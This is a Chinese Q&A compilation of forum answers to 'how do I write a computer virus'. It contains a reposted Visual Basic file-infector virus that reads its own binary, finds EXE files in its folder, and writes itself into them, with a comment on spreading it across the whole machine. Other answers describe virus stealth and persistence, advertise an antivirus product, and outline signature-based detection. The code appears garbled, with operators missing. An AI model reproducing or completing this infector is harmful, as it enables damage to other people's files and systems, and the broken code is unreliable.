怎么写电脑病毒程序！？

其实不用这么麻烦...

去网上下一个病毒程序就可以了

要写这个东西要学很多东西的

比如说C语言、编程之类的

如何用VB写病毒程序。请个高手教教我。如何-----写。

Private Victim As String '要感染的文件的名字

Private HostLen As Long '要感染的文件的大小

Private vbArray() As Byte '病毒的代码

Private hArray() As Byte '要感染的文件的代码

Private lenght As Long

Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long

Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private iResult As Long

Private hProg As Long

Private idProg As Long

Private iExit As Long

Const STILL_ACTIVE As Long = H103

Const PROCESS_ALL_ACCESS As Long = H1F0FFF

Private Sub form_Initialize()

Dim i As Long

On Error GoTo vbVerror '出错处理

'原理：将生成病毒文件的代码读出，粘在要被感染的文件的后面。

Open App.Path "\" App.EXEName ".exe" For Binary Access Read _

As #1

ReDim MyArray(LOF(1) - 1)

MySize = LOF(1)

ReDim vbArray(MySize)

Get #1, 1, vbArray

Close #1

'这是在读自己的代码

Victim = Dir(App.Path "\" "*.EXE") '随便选一个文件（目前只是在病毒所在的目录下随机选一个，将来你可以修改，让它不断的循环搜索计算机上的所有文件。）

While Victim ""

If format(Victim, "") format(App.EXEName ".EXE", "") Then

Open App.Path "\" Victim For Binary Access Read As #1

ReDim hArray(LOF(1))

Get #1, 1, hArray

Close #1

'读出病毒自身的代码

If hArray(H69) H4D Then

i = hArray(H3C)

If hArray(i) = H50 Then

Open App.Path "\" Victim For Binary Access Write As #1

Put #1, , vbArray

Put #1, MySize, hArray

Close #1

End If '要保证被感染的不是空文件（不是圈套）

End If

End If

'读出准备被感染的文件的代码

Victim = Dir() 'Next

Wend

'下面的工作是为了保证病毒不会重复感染一个文件，也不会自我感染。

Open App.Path "\" App.EXEName ".exe" For Binary Access Read As #1

lenght = LOF(1) - MySize

If lenght 0 Then

ReDim vbArray(lenght - 1)

Get #1, MySize, vbArray

Close #1

Open App.Path "\" App.EXEName ".eve" For Binary Access Write As #1

Put #1, , vbArray

Close #1

idProg = Shell(App.Path "\" App.EXEName ".eve", vbNormalFocus)

hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)

GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE

DoEvents

GetExitCodeProcess hProg, iExit

Loop

Kill App.Path "\" App.EXEName ".eve"

Else

Close #1

End If

End

vbVerror: '出错处理，空着就可以了

End Sub

感染EXE文件的病毒代码 PS:转自暗组zzage

写病毒的程序有哪些

先学计算机语言 什么的 比如vb 都行

之后就可以写病毒

不过还是的打击你下

小程序 一定会被 杀软杀掉的 大点的你也也不明白的

防止中毒的手段就是下载个腾讯电脑管家把

管家拥有16防护 杀毒是采用4+1”芯引擎的

“4”指的是 *** 电脑的云查杀、金山毒霸、小红伞以及趋势科技的四种病毒检测查杀技术，“1”指的是此次新推出的因木马损害而造成系统文件崩溃从而实现自主修复功能

16层防护：一共分为三大部分，上网安全保护、应用入口保护以及系统底层保护。每个部分中都包含了更详细的保护项目，并且可以分别进行开、关控制

如何编辑病毒程序

想编辑病毒？？？那要看你有多高的编程水平了，你要在编辑之前考虑很多东西，比如熟悉各种杀毒软件和防火墙的工作原理，漏洞，安全隐患，还要让你的病毒设计的要多无赖就有多无赖，比如可以通过 *** 迅速自我复制并以相当隐蔽的方式传播，开机之后自动运行，而且就算在注册表里也很难将你剔除，就算重新格式化硬盘也依然存在（这是不可能的）等等，你能作到这些就可以编辑高级病毒了~再说一点~

很少有人可以一人身兼多种技术，所以高级病毒需要团队编辑。具体每个人的分工和你说了也没用~你自己想编一个？？？？很难很难

如何写杀毒程序

首先定义病毒特征```生成你特有的库(病毒库).这个 *** 是最有效果也是最麻烦的因为你要不断加入新的病毒特征.

你还要分析病毒的原来....

有了特征库就可以针对病毒进行删除修改等等了.

接下来是行为判断....

写反病毒软件工程可不小哦我估计你个人力量可能不得行哦````

怎样编写电脑病毒程序

在文本上写着“我是病毒”然后把文本的后缀名TXT改为BAT

然后一个病毒就产生了

有关病毒代码是如何写出来的请大家多多指教

所谓的病毒代码其实可以想象成是犯人的指纹, 当防毒软件公司收集到一只新的病毒时, 他们就会从这个病毒程序中截取一小段独一无二而且足以表示这只病毒的二进位程序码 (Binary Code) , 来当做杀毒程序辨认此病毒的依据, 而这段独一无二的二进位程序码就是所谓的病毒代码.病毒代码它可以把计算机程序打乱，使计算机无法正常使用。